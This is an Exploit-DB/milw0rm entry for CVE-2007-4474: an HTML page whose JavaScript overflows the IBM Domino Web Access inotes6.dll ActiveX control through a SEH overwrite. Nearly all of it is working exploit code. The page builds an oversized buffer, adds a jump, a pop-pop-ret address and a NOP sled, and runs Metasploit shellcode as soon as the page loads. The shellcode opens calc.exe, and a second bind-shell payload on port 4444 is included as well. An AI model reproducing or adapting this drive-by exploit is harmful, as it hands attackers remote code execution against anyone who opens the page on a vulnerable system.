IBM Domino Web Access 7.0 Upload Module - 'inotes6.dll' Remote Buffer Overflow

EDB-ID:

4818

Author:

Elazar

Type:

remote

Platform:

Windows

Published:

2007-12-30

<!-- 
written by e.b. 
IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit
Bad chars: 0x80+
CVE-2007-4474
Tested on Windows XP SP2(fully patched) English, IE6, inotes6.dll version 6.0.40.0 and version 6.0.48.0
Thanks to str0ke for pointing me in the right direction and to h.d.m. and the Metasploit crew 
-->
<html>
 <head>
  <title>IBM Domino Web Access Upload Module inotes6.dll SEH Overwrite Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
     
     var buf = 'A'; 
     while (buf.length <= 3119) buf = buf + 'A';


// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com 
var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
                          "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" +
                          "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" +
                          "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" +
                          "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" +
                          "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" +
                          "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" +
                          "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" +
                          "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" +
                          "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" +
                          "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" +
                          "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" +
                          "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" +
                          "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" +
                          "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" +
                          "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" +
                          "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" +
                          "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" +
                          "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" +
                          "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" +
                          "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" +
                          "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" +
                          "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" +
                          "%4e%31%75%74%38%70%65%77%70%43");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com 
var shellcode2 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" +
                          "%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" +
                          "%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" +
                          "%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" +
                          "%4a%58%6b%52%6d%4a%48%4a%59%6b%4f%6b%4f%69%6f%41" +
                          "%70%4e%6b%52%4c%74%64%41%34%6e%6b%37%35%55%6c%4c" +
                          "%4b%71%6c%64%45%61%68%74%41%6a%4f%6e%6b%62%6f%32" +
                          "%38%6c%4b%33%6f%37%50%55%51%78%6b%31%59%6c%4b%50" +
                          "%34%6e%6b%46%61%68%6e%45%61%6f%30%6c%59%6c%6c%6b" +
                          "%34%39%50%41%64%37%77%68%41%69%5a%56%6d%63%31%4b" +
                          "%72%78%6b%6c%34%75%6b%56%34%31%34%57%58%54%35%6b" +
                          "%55%6e%6b%33%6f%55%74%74%41%78%6b%41%76%4c%4b%46" +
                          "%6c%62%6b%6e%6b%41%4f%35%4c%56%61%68%6b%66%63%36" +
                          "%4c%6c%4b%6b%39%72%4c%44%64%57%6c%61%71%4f%33%47" +
                          "%41%6b%6b%33%54%4c%4b%63%73%70%30%6c%4b%53%70%64" +
                          "%4c%6c%4b%72%50%45%4c%4e%4d%6c%4b%37%30%75%58%73" +
                          "%6e%42%48%4c%4e%52%6e%46%6e%58%6c%56%30%39%6f%58" +
                          "%56%71%76%46%33%72%46%63%58%30%33%70%32%33%58%54" +
                          "%37%52%53%45%62%51%4f%50%54%4b%4f%5a%70%33%58%6a" +
                          "%6b%68%6d%59%6c%45%6b%46%30%49%6f%59%46%73%6f%4e" +
                          "%69%58%65%73%56%4d%51%58%6d%36%68%64%42%72%75%72" +
                          "%4a%67%72%59%6f%6e%30%72%48%4a%79%56%69%6b%45%6e" +
                          "%4d%76%37%6b%4f%58%56%33%63%30%53%50%53%76%33%70" +
                          "%53%33%73%53%63%37%33%56%33%6b%4f%5a%70%32%46%50" +
                          "%68%35%41%71%4c%30%66%33%63%6c%49%6d%31%6a%35%70" +
                          "%68%6e%44%35%4a%52%50%4b%77%71%47%4b%4f%4e%36%30" +
                          "%6a%52%30%31%41%70%55%59%6f%6e%30%30%68%6c%64%4c" +
                          "%6d%54%6e%79%79%31%47%59%6f%59%46%46%33%66%35%6b" +
                          "%4f%58%50%63%58%4b%55%73%79%4c%46%41%59%63%67%4b" +
                          "%4f%78%56%76%30%53%64%41%44%33%65%79%6f%4e%30%4e" +
                          "%73%71%78%58%67%61%69%69%56%71%69%62%77%39%6f%6a" +
                          "%76%51%45%49%6f%4e%30%51%76%53%5a%71%74%72%46%62" +
                          "%48%30%63%30%6d%6c%49%5a%45%63%5a%62%70%76%39%31" +
                          "%39%58%4c%4e%69%4d%37%53%5a%33%74%4e%69%4b%52%56" +
                          "%51%4b%70%6c%33%6f%5a%49%6e%33%72%44%6d%6b%4e%37" +
                          "%32%76%4c%6e%73%6c%4d%70%7a%76%58%6c%6b%4e%4b%4c" +
                          "%6b%73%58%53%42%79%6e%6d%63%74%56%6b%4f%30%75%70" +
                          "%44%4b%4f%79%46%53%6b%70%57%70%52%71%41%50%51%42" +
                          "%71%41%7a%33%31%42%71%41%41%51%45%66%31%69%6f%5a" +
                          "%70%50%68%6e%4d%5a%79%56%65%68%4e%33%63%39%6f%58" +
                          "%56%63%5a%4b%4f%4b%4f%70%37%4b%4f%4a%70%4c%4b%61" +
                          "%47%6b%4c%4d%53%6b%74%31%74%49%6f%59%46%70%52%59" +
                          "%6f%4e%30%63%58%6c%30%6f%7a%57%74%61%4f%32%73%4b" +
                          "%4f%68%56%39%6f%38%50%43");


		var next_seh_pointer = unescape("%EB%06%90%90"); //2 byte jump
		
		//oleacc.dll Windows XP SP2 English 0x74C96950 pop ebp - pop - retbis
                //no SafeSEH
		var seh_handler = unescape("%50%69%C9%74"); 
	
		var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90");

		var m = buf + next_seh_pointer + seh_handler + nop + shellcode1 + nop;
		
		obj.General_ServerName = m;
                obj.InstallBrowserHelperDll();

   } 
   
   </script>
  </head>
 <body onload="JavaScript: return Check();">
    <object id="obj" classid="clsid:3BFFE033-BF43-11D5-A271-00A024A51325">
     Unable to create object
    </object>
 </body>
</html>

# milw0rm.com [2007-12-30]